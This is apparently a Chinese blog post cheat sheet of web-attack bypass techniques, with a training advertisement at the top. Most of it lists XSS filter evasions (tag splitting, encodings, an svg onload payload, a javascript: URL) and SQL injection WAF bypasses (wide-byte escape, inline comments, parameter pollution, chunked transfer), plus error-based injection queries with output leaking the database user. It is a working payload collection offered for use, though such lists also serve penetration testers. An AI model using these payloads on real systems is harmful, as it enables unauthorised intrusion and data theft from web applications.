渗透常用小知识与绕过

2019年04月16日 23:36:25 作者:by0531 阅读数:36581
网络安全渗透测试北京实地培训,五个月华丽蜕变,零元入学:报名加微信:18622800700,手机:18622800700。推荐学员入学奖励现金2000元

XSS

scrscriptipt

大小写绕过

DOMXSS无视后端过滤

替换为HTML实体编码

AJAX中的响应JSON可以考虑用Unicode编码

尝试使用POST或者其他请求

字符串拼接、翻转

利用Web容器特性 如sqlserver的Unicode编码

参数污染 如a=1&a=payload()

当'被转义

宽字节逃逸

String.fromCharCode  - -https://www.toolmao.com/xsstranser

jsfuck   --http://www.jsfuck.com/

在标签属性可以不使用

空格被过滤

%0D %0A + 

标签中可用/

限制长度

多段payload <scriopt>/*    */a=1</scripot>

<svg/onload=alert(1)>

短域名、短连接

在可执行事件或script内无需绕

Unicode u003cu003e


SQL注入绕过

参数污染 a=1&a='or'1'='1

IIS特性Unicode   s%u0065lect   使用hackbar编码

使用multipart方式提交

sqlserver可以使用分号;结束命令

mysql内联注释/*!50000select*/

特殊字符 %00 %0d %0a

使用空白字符绕过

Mysql5 :0A 0B 0C 0D A0 20

MSSQL:01,02 到 09 ,0A 0F,10 19, 1A 1F ,20

union(select)

select all{x users}from{x ddd}

插入emoji / 小语种文字

使用sqlmap tamper

科学计数语法 8e0union

基于协议的绕过方法  --Chunked Transfer分块传输


审计

注入:

urldecode无视全局转义
不加单引号 无视gpc
如果数据库做了character_set_client=binary并且做了addslashes '转义'\->%5C %e5%5c%5c' 两个\ 则单引号出来 正则表达式/i表示同时匹配大小写字母,%E9%8C%A6%27 /*!50000uniounion*/ /*!50000select*/ 1,2,3,user(),5,6,7,version(),9 %23绕过utf-8+addslshes
aa%df' union selct user()%23
unserialize反序列化函数 如果全局转义可以利用此函数找能控的变量
extract()函数会造成变量覆盖
遇到limit注入使用procedure analyse即可实现注入

MariaDB [car]> select * from simcms_cars limit 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,user())),1);
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'


函数缺陷:

in_arrary()第三个参数不为true时 可导致匹配不严格

escape 过滤器-》htmlspecialchars ()
filter_var函数 这两个函数过滤时 考虑XSS可以用javascript伪协议绕过
?url=javascript://comment%250aalert(1);

extractvalue提示Empty set

mysql> select * from web_member_data where Oid='1ogout′and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#' and Status=0;
Empty set

 

改用union

mysql> select * from web_member_data where Oid='1'UNION ALL SELECT (extractvalue(1,concat(0x7e,(select user()),0x7e)))#' and Status=0;
-> ;
1105 - XPATH syntax error: '~root@113.1.1.1~'